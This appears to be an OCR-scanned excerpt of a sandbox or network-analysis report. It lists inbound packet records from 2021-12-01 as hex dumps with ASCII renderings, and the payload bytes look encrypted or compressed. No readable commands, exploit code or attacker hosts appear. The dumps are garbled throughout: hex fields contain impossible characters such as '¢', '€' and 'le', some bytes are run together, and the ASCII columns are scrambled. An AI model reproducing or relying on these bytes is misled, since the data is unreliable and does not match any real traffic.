2021-12-01 08:15:23 UTC 2905 IN Data Raw: bc af 5¢ €9 11 55 66 42 0d 05 b1 9d 82 32 9b db d9 f4 a0 a9 1le 98 a3 c¢3 b8 cc Oc €7 5b e0 aa 64 62 dd 31 02
2872 af 22 4c fd 8f bb ¢3 60 4e 77 59 79 22 93 21 dc 1f 03 8f 8f 27 00 6f a5 06 98 ec 70 31 c1 3¢ 2a 62 02 00 7a 87 b6 52
df 26 b5 eb 60 74 92 1b 08 41 fa 25 e0 cc 2b 84 ee 64 5e 05 18 60 fe 75 1d 0d 3b 27 a7 82 fc df ca 26 c6 €2 13 c4 eb 25
7a0d e3 3c bc 2c 9d 72 f7 76 7d 48 72 67 6¢ 7a 1le a9 95 8b 2f 9b bf 31 56 e8 38 49 81 44 25 99 3e 6¢ 5e 5b 03 34 fc 01
75 b5 8e 82 €8 49 01 9e Oa 2e 54 3c b3 23 b8 81 27 2c 23 4b 04 f6 ef fb ba 9b 29 26 02 0a 24 b7 49 ca 49 6¢ 58 6e 78 f9
8e f6 81 74 51 07 7f 22 a3 Oc a0 8b 4d f9 2c fa f0 63 3f da be 8e ab 29 0a 1b f2 36 el a9 3f b2 69 f2 29 4e d1 ce e6 43 92
7a 74 04 20 84 4f b2 1c 70 13 47 70 d8 2b d8 ca 2f
Data Ascii: \UfB2[db1(r"L’NwYy"!'opl<*bzR& tA%+d" u;'&%z<,rviHrglz/1V8ID%>I"[4ul. T<#' #K)&$IIIXnxtQ"M,c?)6?2i))NCzt
OpGp+/

2021-12-01 08:15:23 UTC 2921 IN Data Raw: ad db 38 4c 7b 02 cd fO 1d 64 8b a0 22 5e af 91 b6 aa 24 0b 5c¢ 6¢ 1c 05 bc e7 98 Ob 4d 6e 04 d4 03 de 69 61
b7 68 7c f7 c1 8c 1d c5 09 1a 62 70 dc fe 32 ff e2 76 ad 30 ab 21 ad 83 66 fd 7c 22 34 e4 ed af 02 63 19 el 57 ef af d8 89
b7 eb c5 d1 6b 32 6e ef 3e 89 57 d9 5f 82 a7 f2 85 dc 29 51 46 a9 76 03 7d 3c 13 07 4b 68 64 05 ab 46 9c 21 95 fa 3e fd
cd 42 09 d8 92 c1 13 cc 2e 89 Oa db 6e 90 05 83 Oc 52 c1 al 72 25 80 51 33 98 1b 77 68 bd 5a cb c8 d3 67 03 66 f2 23 b0
29 al 95 07 fd 72 1f f3 47 06 b4 13 82 43 2d a6 €9 80 4b 99 6f cO b0 a3 63 Ob 78 c2 8d cd 2b b5 62 66 b9 8e 97 a3 85 ac
ae el 8d e6 4b 27 cc 8e b7 a4 34 dc 3a 52 01 95 dd 9a aa bd c9 ce 47 66 d8 4c 1d c4 99 c6 29 b7 9f 5e e6 53 1f 5b 90 8e
09 b5 08 6¢ 60 aa 61 37 4c 84 dO fe 4b 09 b0 66 b4 00
Data Ascii: 8L{d" $\IMniah|bp2vO0!f|"4cWk2n>W_)QFv}<KhdF!>B.nRr%Q3whZgf#)rGC-Kocx+bfK'4:RGIL)S[I'a7LKf

2021-12-01 08:15:23 UTC 2937 IN Data Raw: b4 28 74 fa ce 47 56 55 57 fc Oe fc 7c 26 f2 27 4b ef Ob Of 2f 35 f2 35 ed 2c 2b 86 dc a3 e7 a2 e7 c3 f2 b4 29 ba
af ac 03 dd 65 53 62 9f b6 41 68 05 26 d8 8b d7 Ob 75 8f 09 4e ad 28 4a f4 ac b6 ec 3f Ob 6b 6b 5¢ c0 14 al ce 9a db 76 f5
c25a8419c7d9e50d717c09c7cd3ael 7c 76 bl 91 7c c0 a6 c7 be 73 c1 0a 30 7d 75 2c e7 e5 08 6a 1b cf 23 82 b7
a4 25 8f f8 af d6 62 6e 88 ad 9d al 6e 45 56 d2 42 53 50 a2 9f 44 87 99 fa 2b 8e ce 4e 79 1d 1f bf 97 a5 17 b1 90 c3 7d 86
a7 7e 74 ca a7 41 9f 79 3e 62 46 d2 a0 e6 9d 3a e8 d7 81 37 58 ¢9 97 el Oe 72 a7 el 72 03 cc 7c 1f 20 ca b2 d8 72 9c b8
5e 36 ba 57 ad ea a0 dd 5f e9 bb b0 34 ea 15 4c dc bc ce 34 6a 42 ac 1f b9 fc d7 f5 16 b8 42 93 5f e0 75 1a fc 12 7c 35 45
fe 2f 26 d7 1c el 51 61 b5 14 d7 db 2b 6e
Data Ascii: (tGVUW|&'K/55,+)eSbAh&uN(JI?kk\vZq|:|v|sO}u,j#%bnnEVBSPD+Ny}~tAy>bF:7Xrr| r"6W_4L4jBB_u|5E/&Qa+n

2021-12-01 08:15:23 UTC 2953 IN Data Raw: 8d 00 e2 62 59 91 29 83 b1 94 75 87 01 b5 a9 f5 36 d4 02 81 ff d3 e8 a4 24 2f 19 b5 5a 5e 9d 46 2c 34 5¢ ed
8d 76 ec b2 21 €9 60 31 a5 86 b3 d0 46 06 f8 51 86 8e 85 98 42 f0 46 d3 98 aa 6¢ €0 56 f3 d7 f6 9e d8 64 a2 Oa 33 74 ba
c4 d1 f3 af Oc 44 75 de Oe 70 04 e2 56 Oc 43 c5 98 87 ea bd 52 57 db d1 d4 ce 5d 1a f6 fb f5 db 99 45 60 58 31 6b 6¢ 5d
82 df 82 f5 f6 00 1d 76 47 86 65 79 32 d8 3d 23 65 58 ec 9f dc 4f 94 99 f9 27 05 98 37 91 cd 5 16 e6 3b cf 37 7c 61 76 3d
78 66 b5 a2 04 fa 83 20 b6 18 19 1f 7f b2 97 d3 d3 62 90 f2 31 Ob dc 62 fb Oc 95 5a 10 a9 fc 06 93 a5 el 67 61 cd 86 4d 57
54 8e 86 2a 76 94 50 12 f3 99 77 bb e3 a7 8e 1a 64 f2 ea 46 69 8d e0 63 b2 13 {7 2a cc 54 d6 31 9a 2f 91 eb 3c 9d 04 49
9b b0 de 5f 76 24 29 80 46 93 09 cc 3e 25 81 be c9
Data Ascii: bY)u6$/ZF,4\v!"1FQBFIVd3tDupVCRWIE X1kllvGey2=#eXO'7;7|av=xf blbZgaMWT*vPwdFic*T1/<I|_v$)F>%

2021-12-01 08:15:23 UTC 2957 IN Data Raw: c4 c1 2d b3 6a ab cb 3f 06 4b fd fd 48 5e 42 1c c5 c1 9a f8 16 4b d1 cd 54 55 08 67 8c 9a a8 f9 59 91 e4 29 1a
03 04 11 8a 70 22 9f 6¢ c0 fa 6a f7 ¢9 16 dd 89 51 17 39 94 21 85 8¢ 28 f7 df 53 e2 ad 8f 88 ac ed a6 ¢3 90 90 57 ff 21 07
15 bc 26 9b 97 01 2¢ 0d 25 25 82 cb ba 54 d3 ac fb ad 00 db 7c el 8e a0 07 7a fb 40 a4 3e 39 44 cd bc 72 3a 5e d4 ea 3c
6b 53 1d 3b 7d 9e 7b b5 38 €9 7c 2a ff 06 24 64 c7 d4 27 76 77 9a 23 08 a7 97 33 66 al c5 fd 1f 10 Of ec 7e 9c 43 74 60
94 15 ee 4a ac 7b fb 7b 6¢ 3a b8 4b 22 79 6f f6 33 6e 06 4f a0 3c 84 d7 92 ae 8b df 70 3b e0 el fd 6d a8 7a 9a b1 6d ef 86
7b a9 df 10 d3 bb de el 4e e2 39 5f ff 37 af f8 3a 52 a4 48 5d 95 ec 81 38 82 03 95 5d 9c 2a e0 3c 8 5 ef ce 41 d1 9a 82
72 db f7 77 36 a8 a3 b3 fe d6 15 51 ec 60 78
Data Ascii: -j?KH*"BKTUgY)p"ljQ9!(SW!&,%%T|z@>9Dr: <kS;{8|*$d'vw#3f~Ct' J{l:K"yo3nO<p;mzm{N9_7:RH]8]*
<Arw6Q X

2021-12-01 08:15:23 UTC 2973 IN Data Raw: dd 1e 66 01 e8 40 a6 ab 4d f8 1e 54 ca 90 c0 1c Of be 6a 23 17 ed fe 72 c0 68 3d 9e 4b ee 1b 92 d7 00 Ob 96
15 41 4f 8f 09 b6 3b 74 9d da 3d bd 42 bd 8a dc 60 66 eb b0 c7 af 6e d6 79 4e 00 3c bf 63 00 c3 00 49 8f 92 b5 36 91 9b
69 1e 58 ad a8 c6 04 72 ea 1e 79 70 da 68 a2 91 14 35 59 aa 78 be 38 10 ce 7a 75 f7 d8 5d 00 df 68 ee 0d 51 53 61 46 2f
e4 8c b6 1a f9 b9 5e 4f 73 e7 91 05 1a b0 b8 85 6f ab dc 60 ac fa 5e d5 b9 40 97 60 e8 70 0a 68 20 ed 12 78 1b Oc ec 5f
97 88 83 b8 8e 03 35 fa 39 84 73 c4 cd a9 4f fe 06 f7 cO 11 de d5 6b 92 5a 36 50 b7 56 69 ca 89 ad 22 c6 9d 29 40 71 49
c4 39 a7 63 97 d1 59 b8 79 4e d2 08 37 82 21 94 a7 34 cd 63 1e 2b e7 69 ba 02 3f c4 cf 74 fe 5d f4 f7 76 84 39 37 3¢ 07
3c 4f f7 1e 53 e2 85 7c 8e 2f 05 2a c0 1a d7 cd 58 b6 cb
Data Ascii: f@MTj#rh=KAO;t=BfnyN<cl6iXryph5Yx8zu]hQSaF/*0so @ ph x_59sOkZ6PVi")@ql9cYyN7!4c+i?tlv9
7<<OS|/*X

2021-12-01 08:15:23 UTC 2989 IN Data Raw: 3f 0d b6 67 f6 eb 8b 3a c6 85 d2 Oe 55 c4 a9 Ob 4a 67 a0 5 50 27 Oa 8d 5a be f4 49 8d 4f 03 71 33 88 5a a4 8b
6d fa 03 36 fd ab 34 89 73 a9 d5 cb 9e 14 8e 32 f1 12 79 b7 c0 60 56 84 bl 36 aa f2 3a 43 e6 64 9a 47 ca 8f b0 fd 00 06 6€
d6 2c 7a e6 e5 ce 67 d2 ac b0 e0 8f 2d a2 25 e6 b3 1d ed bd 73 67 b3 72 bf 9a 71 27 89 05 5 8b b5 b7 69 b2 5a d5 65 23
€5 ¢7 55 b6 35 bf 3¢ 86 72 f3 34 12 fc 18 d7 de 27 42 d3 8f ae al 26 0a Oe d8 c1 e6 8b d6 5d 50 da b3 13 b3 f5 71 4a 58
la 1551 8¢ 87 50 e5 26 da 25 cf dd 94 09 3f 1c Ob ed ac 03 e6 97 6f 57 11 ff 30 fd 5d ab 11 ed 2c 89 99 85 dc d6 3e d9
83 c3 2e 65 28 9b fc 05 54 6b 70 11 ca 64 a6 f1 15 21 48 a0 65 el 10 03 09 75 4b 8c d6 6d b7 02 03 9b ac 02 e9 42 36 33
7f 4b 51 02 60 34 02 b2 f0 9d 2f 74 95 5d 38 85 66
Data Ascii: 79:UJgP'Z10q3Zm64s2y V6:CdGf,zg-%sgrq'iZe#U5<r4'B&]PqJXQP&%?0W0],>.e(Tkpd!HeuKmB63KQ 4/t]8f

2021-12-01 08:15:23 UTC 3005 IN Data Raw: a3 4c 21 63 ee 62 3d 9f 03 40 26 b6 f4 01 7d fe 51 ba cb 6d 08 fd d7 2f af b9 1f 4d 63 91 2d 5¢ d4 39 ac f0 Oc
82 69 93 d6 50 53 b6 84 1d 95 55 47 f5 b4 01 db d5 9e 42 84 71 ef 44 28 fd 55 30 91 e2 14 1c 5b 4e 9c df 08 7b 6b ed ba
32 ch 3b e6 56 f0 b5 46 4b 9b bd b3 99 d4 ba ff 21 6d d7 bl 1d 84 fO €6 86 ba 88 f4 c2 6d 6e 4e a6 18 f0 el e0 71 e5 a4
62 21 be d1 49 4a 54 21 64 5d c9 f8 bc 35 3a 16 9c 9a b3 95 8f 83 d8 71 db b7 2b 76 ae d2 8c f5 5f 9d 09 ac 90 b5 4a 09
37 80 5f 79 f5 aa 8b e3 dd bb ea 9a a3 14 e5 de 37 b8 a7 d4 14 ee 9b 1c c6 b8 25 11 51 71 fd d6 Of 08 40 4d e7 77 87 62
4c c2 f2 f6 6e d8 c6 8b a3 7b 74 29 e6 1b 6e 4f c8 64 66 €5 2e 88 25 83 d7 27 82 40 b5 b0 8e 12 5 63 ab a6 ea 47 b7 05
de f7 fd 6f 66 bb 8a cf 96 78 bf 76 d7 1b 73 d2 f8 61
Data Ascii: LIcb=@&}Qm/Mc-\9iPSUGBgD(UO[N{k2;VFK!mmnNgb!lJT!d]5:q+v_J7_y7%Qq@MwbLn{t)nOdf.%'@cGofxvsa

2021-12-01 08:15:23 UTC 3021 IN Data Raw: 03 2c c0 3b 51 e6 b9 f4 Ob 00 f0 cf dO 8c 94 c5 5f ae ca 9f d4 2b ad 7e d1 4e cO cf ae 9a 67 72 a6 71 82 a8 ce
fd 2f 29 29 88 f3 65 00 72 66 38 04 c6 94 9f b4 Oe 6e 47 d2 d5 ec c4 9f 31 61 78 20 1c 31 2a 95 df 80 e4 74 e6 20 73 a9 f9
20 5b 68 4e e2 ad f9 85 e9 2c 01 3a 30 8d cf 80 2e 5¢ f1 92 da 21 df 51 45 07 b0 a7 04 f2 20 27 3b 00 fd 60 95 af 9b 71 4e
46 34 56 43 37 ff 42 4b 94 d7 26 ee bl b1 fO 98 75 5d 96 c4 17 2a c3 22 4a ed 1a 37 3e 30 2b 86 a0 6d 0d 15 f6 df dc 1d
9a 7b a3 ef a4 ce f1 b0 c0 61 50 f2 02 b8 fb 1e 96 7c 44 bl 55 16 9f c7 7e 13 09 ec ¢9 08 0d 71 51 ef 39 ed 72 Oa db 2e 6d
0d ed 7f f7 54 45 f1 a3 dd d9 3b 67 c3 00 b1 89 cf 45 5a 1d 48 53 5¢ aa 19 1d 67 fd a3 7b 4c b8 22 de e0 1c 3d 55 e3 cd
38 f5 aa Oc f1 a8 06 2e 23 5e 1e 8b 6e c4 c8
Data Ascii: ,;Q_+~Ngrg/))erf8nGlax 1* s [hN,:0.\IQE ';'’gNF4VC7BK&u]*"J7>0+m{aP|DU~qQ9r.mTE;gEZHS\g{L"=U8.#"n
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 3037 IN Data Raw: 01 a5 fd ba 71 d5 7a 5f 62 b8 66 b7 cd 42 82 58 35 03 82 26 5a 82 8e 98 8b 51 30 df b3 8a ac 6a dc 38 7e 7f
d5 a0 66 d3 32 2a d9 92 ea 95 Ob b9 48 da 98 f8 f1 d2 e9 c7 e8 bb cf e7 fe ea 4f 8d a3 5a 3f c2 d0 50 8e f3 82 04 af d7 86
of fd 00 92 7d d4 91 56 61 47 af e4 23 e7 39 5e d3 09 65 bb bf 5d f8 3c 27 24 57 03 86 b1 8c 54 58 6b 07 45 18 2¢c 94 54
5b 17 ae 6c ff 12 33 6d ea Oe 90 da 9e 82 e4 8d 24 80 3a 85 6d 24 de ac be fe 57 43 a4 2d 35 ab 74 d5 54 ed 7c 3e b4 ca
0f 18 93 98 d8 23 e3 d2 c3 8b ea ad 38 91 f2 8c a4 4e 42 ed 2c 01 b2 ef 75 Ob 5 ed 87 82 43 ¢7 aa 41 72 29 09 eb e6 8f
7b d5 fc 85 dc 04 cd 14 d1 d0 85 d1 17 98 78 ec Oa fa fc 36 ea 56 ad c1 89 98 53 db a6 f4 54 7f 11 45 2f de fb 47 69 56 37
a7 31 63 42 d8 b3 52 96 6b a3 c6 95 1la 5b b5 0f 9
Data Ascii: qz_bfBX5&ZQ0j8~f2*HOZ?P}VaG#9"e]<'$WTXKE, T[I3m$:m$WC-5tT|>#8NB,uCAr){x6VSTE/GiV71cBRK[

2021-12-01 08:15:23 UTC 3053 IN Data Raw: ce bb c2 5d ba 1d Ob de 07 10 2e 76 Oc cb 15 b5 0d 1a cb a2 26 ff 34 9d ef 18 27 39 1f bl 7a 6d 34 bb e4 70 37
03 f9 f2 93 42 b7 e2 3c Ob a8 98 bd 95 15 52 09 fa 86 5f a4 ee b2 b3 4d f3 6f 72 55 be 7d 5a 68 e3 3f 14 ac 8a eb e4 {3 03
€9 9f 03 06 33 3b 7d 22 20 9d 37 17 Oa 78 4a 4f 6f 8b 2b d8 1c fc d4 d9 20 20 08 18 27 25 Oc 66 €8 85 29 d2 17 7b ad 2a
74 d8 90 0f a9 fd 87 16 17 c4 ac c7 e3 e6 b5 03 13 ac 38 8b 5f el b6 5b 1a 14 4e b9 f1 87 f9 2e a8 b6 05 2b ec el 77 72
Oa 3e 09 8d 2a e2 6e dc 56 8f 3c e7 11 c8 52 5f 92 c2 20 ee 01 27 2a 78 €7 60 95 el a3 a4 86 d1 81 25 a5 64 84 e8 8d df
e5 64 11 b0 98 0f 9a af b5 f2 07 d8 5f 58 Of 5e 96 d2 47 eb 05 0f 6 fO ee 04 55 1f e0 f7 16 90 d9 48 00 86 8a 11 c2 9c 71
72 4fd8 91 61 79 bd cb 80 be 9e 3c a8 74 1d 53
Data Ascii: ].v&4'9zm4p7B<R_MorU}Zh?3;}" 7xJ0o+ '%f){*t8_[N.+wr>*nV<R_ "*x %dd_X"GUHqrOay<tS

2021-12-01 08:15:23 UTC 3069 IN Data Raw: 17 2e ce 83 59 5d 5f Ob de 2e 41 3e 2c 4d f3 a8 4d 25 2b b8 f4 6 24 ce db 7c aa f7 3a ba 68 a3 d9 20 2f 25 53
cc 11 cO 4e c7 e7 54 e6 46 cb 7e 00 7e 35 8b df 33 33 a0 e0 6f 1e 8d ba 5¢ 57 3f 11 bf e7 c0 e2 ¢8 32 24 44 b7 b7 75 c8
75 6d 96 05 16 b9 8f b1 32 26 6d d3 ea 9c ca 64 69 a5 29 bc 98 87 96 c5 0d 88 6¢ 17 e6 4a 19 0f 5b 8b 64 59 cb 7d db 82
ff 9c b7 al d6 87 9a ef dO 74 40 10 10 4c 8c d4 f6 1b 90 76 d8 c5 92 8e 1a 71 17 47 4d 5b 37 01 9b bf 2b 07 dd 8f ea 35
62 26 74 15 6e 33 eb 76 54 1a b2 b2 39 ¢6 31 15 62 3b 22 12 22 ab af fb a2 ce 20 73 11 b8 eb 32 7e d3 45 77 d0 5e ba {7
c34d 9e 23 c8 ee f1 9e 12 16 04 bf 58 79 33 7f 41 ae cd f5 a5 57 2c a4 8a 4d 18 1d 82 cc 34 77 55 0d 72 27 3b 66 b3 bb
21 1c 37 f4 6d a7 56 f1 72 87 34 1f 6b 29 27 7b 44 03
Data Ascii: .Y]_.A>MM%+$|:h /%SNTF~~5330\W?2$Duum2&mdi)lJ[dY@LvqGM[7+5b&tn3vT91b;™" s2~Ew M#Xy3AW
MawUr';fI7mVrak)'{D

2021-12-01 08:15:23 UTC 3085 IN Data Raw: ea fb 08 32 6e c9 42 6a 07 5e 52 f7 23 94 25 61 Oa 22 64 5e 47 4e bf 93 af 7a 27 b8 35 76 39 c5 df 1a 31 4c 9d
41 84 e9 f8 1f 26 88 40 e4 6e 7b 9b 89 d3 13 08 c7 b4 c3 c4 6¢ 07 41 44 8c 64 2e 75 f1 ff 54 8f 7c 12 1a Ob 73 bf 2f c9 07
2e 3f 1b 31 4c 2e al ba 0d 22 a0 2c 11 b5 38 4d 40 e3 9a e7 84 1d 89 4b Oe a9 d3 49 fb 6f cf dd fa 4c df c5 Ob 08 3f 60 12
3ff2 3a 17 f5 83 3d 2e 95 c6 4f 1b 74 b7 79 2c 26 96 18 b6 e8 bf 93 68 ca c8 3e 9c 0f c5 1a 24 2a f6 d7 f5 5f 97 7b bl 39
6 91 6b 9d 55 af e3 39 3e 71 cf eb 68 44 fe 9e 11 56 0d ba f4 c7 b8 e9 ea al 6a 7e f8 b7 c4 5 6¢ b2 b6 81 1d 84 9b 46 2a
56 6a cl e6 39 a8 fd 11 b7 38 21 ff b3 93 e0 39 9d 2e 62 30 de d9 68 3e 30 43 4f ec 1b da 8e 87 75 e0 e6 c0 Oe 87 5c 18
d9 ea cc 12 bd 7c 1d 32 b9 3d b4 6d 20 68
Data Ascii: 2nBj*R#%a"d"GNz'5v91LA&@n{IADd.uT|s/.?1L.",8M@KIoL? ?:=.0ty,&h>$*_{9kU9>ghDVj~IF*V/j98!9.
b0Oh>0COu\|2=m h

2021-12-01 08:15:23 UTC 3101 IN Data Raw: €9 df fc 39 98 b5 85 5e €6 1d cf 5b b6 al 35 71 d6 e0 ff 67 36 33 b3 05 13 ef 08 71 8f 29 8e c¢7 95 3¢ 50 15 b0
d3 04 06 e2 08 6f 53 c8 3d 51 27 4f b9 b1 80 cf 1e 39 a7 25 23 00 51 63 d6 70 f1 5c ac 3d 36 02 c5 5f cf 63 fc 1b 57 0d e2
d4 7357 12 04 3b 3c ¢4 42 4d 7e 79 8b f6 75 5e 53 10 cd 75 bf 7b 86 e3 fe ¢9 07 fb bc 8a c4 bl dc de 64 7e 38 01 84 ab
45 84 19 88 5f bd 21 9a a8 4e 03 a5 b7 39 3e 1f el f0 24 a6 c5 a6 d1 1f 17 14 29 06 1f 8e b7 8e 8b eb 64 32 ff 95 56 09 ec
b8 1e 2a b7 d7 f9 39 e5 7f 4f 01 al b0 8c 41 c9 fe b5 44 fd 03 a7 be 54 2d 20 c1 a6 82 85 47 ed ca 42 64 bf d7 44 {3 32 4d
c1f8 d8 c5 1f cO 6f 47 04 16 ad ce 52 aa 70 87 35 92 19 14 55 3b f5 0f 64 a8 ed {7 9c ba a6 b7 84 29 36 7e dd ee e5 ed 70
16 €8 29 7b 91 96 86 d3 44 82 9e e3 25 5¢
Data Ascii: 9'[509630)<P0S=Q'09%#Qcp\=6_cWsW;<BM~yurSu{d~8E_!N9>$)d2V*90ADT- GBdD2MoGRp5U;d)6~p)
{D%\

2021-12-01 08:15:23 UTC 3117 IN Data Raw: 35 fa 54 e3 32 6d 3f aa 21 72 d0 55 e2 b8 2e 5f 79 eb b0 83 d2 9e 01 b5 Ob 06 68 73 bf 85 4a d1 e0 61 11 75
11 al 5e ed 29 d2 48 €9 1f 0d 6e 88 cb f9 58 ac ee b1 e4 8 db 50 6f €9 Oa 07 16 Oe a5 e8 bf 6a 6e b7 49 65 a4 75 11 al
b7 ed 5d aa €3 22 f1 01 d7 51 a7 88 4b eb 19 54 2a c8 50 e8 b5 70 22 2f 5a 4d 53 67 df 59 4e 43 36 0d 05 ee 41 2f a9 4b
d0 8d e5 e0 81 f8 de 15 a9 ea 71 66 ed 34 al 2d 43 59 e2 0d 82 11 32 b5 7e f6 3d 24 93 14 79 1e 18 ca ec 37 b5 c1 0b 07
deedal a5 ec 82 d0 33 36 e3 29 7a 3b al f3 c8 be a0 50 c1 ce b4 5f c2 89 8f 34 2b bc ¢5 ac 41 9f f3 49 ba 10 3¢ 94 bb fc
11 bl da d5 da 6¢ 4f a3 27 6a c3 6 31 d1 27 9¢c 14 4c 10 52 a2 3d dc 3d c8 fa 45 72 8e 3d 55 da 3e 59 a8 e6 e2 c5 d2 Ob
56 ad fd fa 4e 20 4e 8b 4a 32 07 ab 11 98 90 7f 1c a0
Data Ascii: 5T2m?!rU._yhsJau)HnXPojnleu]" QK T*Pp"/ZMSgYNCBA/Kqf4-CY2~=$y736)z;P_4+AI<IOjI'LR==Er=U>YVN
NJ2

2021-12-01 08:15:23 UTC 3133 IN Data Raw: fa bf 89 0f 13 7c 14 48 52 41 ¢2 20 39 5¢ 8¢ 90 e6 55 5¢ 75 22 8f 5b 7b be ec bb 99 82 ec 39 27 74 4e 5d 19 d7
94 48 de de 7f cb 6f 5b 89 81 05 0a 2b 99 13 52 ¢8 15 d1 46 Oa d4 3d 6e 4b 7d 02 d9 c4 36 4b cc Ob 4d 70 6f 94 65 12 a5
497512 27 b3 ff €9 ae 14 8b 68 33 73 ea 69 52 32 b9 7f 3a b4 bf 7a 71 fc ea 98 f3 7a 28 7c 6f 3e 81 c5 44 d7 c8 93 84 97
87 bf a6 29 69 04 85 e7 6b 9b 43 5f ea 15 82 fb bf 44 c2 5a 36 56 ¢9 55 78 72 69 49 ec 62 f0 f5 5d aa b1 d0 15 f0 96 9 7e
78 27 3f b7 1c 4f a4 9f 6a 49 78 db c5 b6 c8 5f 4b 30 ec 96 9e 49 b9 1a 03 34 37 e3 55 37 a2 9a fa 35 3b ca 29 09 09 d5 {3
65 0f 34 f1 06 fd 9d 44 9f a8 82 89 cc d1 9a cO 2d 08 82 06 55 da fc 8b d1 c3 8 05 c2 b9 ¢4 21 38 76 da c0 05 da 68 bl
11 1b 4c 6a 08 9e b4 7a 11 5b 86 90 66 47 62
Data Ascii: |[HRA 9\U\u"[{9'tN]Ho[+RF=nK}6KMpoelu'h3siR2:zqz(|o>D)ikC_DZ6VUxrilb]~x"?0jix_KO0I47U75;)e4D-U!8vhL|
Z[fGb

2021-12-01 08:15:23 UTC 3137 IN Data Raw: 81 ba a4 78 e5 f8 13 ¢2 55 44 df ¢3 35 1c 3d 72 22 74 17 6e 73 66 65 29 43 65 99 4b bf f5 ec 81 {7 ac 17 1a 7
85 0e 03 13 5f 53 cc 6d cd 31 17 Oe 24 03 el 39 f9 59 93 ac 28 d0 85 dc 3c 40 6b c4 bl dO ee 97 e4 30 4c 3a 63 8f 02 b7
9333 4c 35 7b 71 21 2d 67 fO e2 ad e8 f9 88 2e 8e b2 16 33 34 63 09 b4 f1 27 4b ea 2d 67 aa cb c6 01 cf ed 49 ¢9 75 74
95 e4 d0 3d 20 3a 3e 6a e4 ad 51 9d 06 b6 55 e3 bb 33 45 46 18 fe e4 7d 25 Oc ca 7a 31 a3 f4 c0 07 ee 6¢ a4 99 12 45 70
58 94 5¢ fc 87 df 20 da 65 ed ca 3c 83 ¢4 cb 6f ab d2 e7 67 55 2f 2d 73 ce 26 6¢ 4d a4 00 c8 30 30 45 ea 7b €6 41 ac 43
96 b0 5d 39 c4 64 5a 9d bc 80 49 56 a4 05 17 a4 7c 67 f6 25 20 45 95 b7 Ob f2 50 33 7e 02 99 bb cf 83 73 9f ca 9b 38 Of
€2 82 cd 38 41 59 ce d4 ac 4c ca 5¢c aa d1 23 9b 10 9c
Data Ascii: XUD5=r"tnsfe)CeK_Sm1$9Y(<@kOL:c3L5{q!-g.34c'K-glut= :>jQU3EF}%z1IEpX\ e<ogU/-s&IMOOE{AC]
9dZIV|g% EP3~s88AYL\#

2021-12-01 08:15:23 UTC 3153 IN Data Raw: 35 4e 2e Of bO 77 a4 83 4f 7e bd 76 14 7e 49 49 80 da 73 86 ae 35 5¢ 61 47 33 c3 a9 ff 4a 95 73 0a 1d 7f b9 7d
5a 6f 32 5a 54 aa 52 46 75 58 0b 95 11 d7 bb 6b 58 ca 5a ae ed 18 18 fa 00 8d f5 d3 1c 3f 3f 2e 9a 4f 35 32 a0 5c 24 00
€0 bl b8 49 a8 le 7f 91 25 b4 57 1c 53 43 2a f0 62 ec 4a 03 79 €6 3d 41 ed 08 c1 ec 73 72 13 bd 98 2c 19 a2 40 20 a9 9f
29 f2 4e 5a 1a 1f 9e b1 3b 7d 20 ee 85 34 8d f2 b4 58 07 be ce 99 f9 32 a5 9e ec 35 e2 db 26 cd 50 80 97 87 32 55 c6 26
09 b9 Oc f8 6a db 7c 76 1e 40 la ec 32 79 b3 4e 62 66 df b6 Of be ab 3c 3a ed 41 44 61 fb 0a 67 fd 9c a8 4f 80 08 f7 7f 92
Oc ca 26 e0 c6 b1 63 b2 ba e0 e2 9b 6¢ 78 4c 4f 3b 8¢ f0 5d 98 45 2¢ a0 9b 4f 71 fd d9 08 71 b0 87 66 34 6f Oc b5 72 86
01 9d e4 cl fe a9 24 e0 25 42 9d 06 30 f5 d6 c5 2¢
Data Ascii: 5N.wO~v~11s5\aG3Js}Z02ZTRFuXkXZ??.052\$1%WSC*bJy=Asr,@ )NZ;} 4X25&P2U&j|lv@2yNbf<:ADagO&c
IXLO;]E,Oqqf4or$%BO0,
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 3169 IN Data Raw: ab a9 c2 03 cb 8e c1 d9 7b e3 el 01 ¢5 2c 3d 1b 72 ¢3 f0 50 a7 5b 36 41 79 97 d7 39 93 b6 37 d9 e5 66 3d 45
da 08 68 e4 dd 7d 7c f4 d8 3f b1 42 75 ac 31 e8 6e af 60 c7 ff 04 bc 61 f3 6b 47 31 23 bc d8 78 99 5a 66 11 60 Ob a7 le
49 2b 25 b7 3f df c7 4a 19 3f ca ba 82 8f 8f 30 5¢ c6 64 7e 88 7a 57 46 19 15 f8 e2 0a 01 e0 2f a8 5¢ 40 55 bc c1 dc 2c 34
44 07 f4 27 bb 19 26 03 79 65 d7 a7 9d 9b de 4f 61 02 4f 96 34 bd ed 91 c3 41 1b 85 55 91 62 9f b2 3b c6 02 2f b3 1f Ob
b6 19 44 24 00 5d 8b b3 b1 69 e8 36 95 a9 60 7a 0d 3c cd 8f 57 6b af €3 26 80 7c fe cd 4d 54 c9 0a 62 c7 b8 11 b2 8e al
ab 6a 9e 08 6¢ 9f 25 04 4e 58 7d 36 3b de 58 b6 3a d4 69 ea c3 3c bb 6e db c8 5f e4 ad 60 5f 33 17 40 f8 da 73 6e 57 12
fb 12 76 9c fO 21 81 6 a7 e6 8c 8a 4f d1 6b ae 8c 80
Data Ascii: {,=rP[6Ay97f=Eh}|?Buln’akG1#xZf 1+%?J?0\d~zZWF\@U,4D'&ye0a04AUb;/D$]i6 z<Wk&|MThjl%NX}6;
Xii<n_"_3@snWv!Ok

2021-12-01 08:15:23 UTC 3185 IN Data Raw: 5b d8 8e d1 69 f8 b4 a4 b1 70 b4 b4 43 03 be 8a c1 c7 b4 47 5a 6e ee 68 a9 a9 2f 27 82 29 1c 8a 94 1a 53 b5
d1 68 76 5¢ b6 f0 0d 70 63 fO 6b 60 b5 c6 4e 1f €3 bc be ae be 08 ed 28 b3 55 c7 4b fe Oe 2 34 39 fe 65 dd 7f 02 51 8 65
30 4a 97 5f 42 96 71 00 81 af 1b 29 be d2 c6 cb ab 45 b1 7b e8 19 19 01 49 76 3a a9 6a 73 40 93 8¢ 92 00 31 11 ee 18 a0
87 82 6f 3e 78 7b 04 31 ba fd 1f b4 88 0a 3d b1 29 63 €8 61 28 09 f1 35 5¢ 11 c2 ae ca 47 f5 bc 68 8e db ba 56 f1 1c 4c 13
cc bc 40 71 77 99 5e 59 df ee 4c da b2 fd 60 56 66 f8 40 e5 65 a9 cb 66 49 cc 20 c9 64 fd 7f b2 27 af e8 bc 0a 01 d2 c9 2a
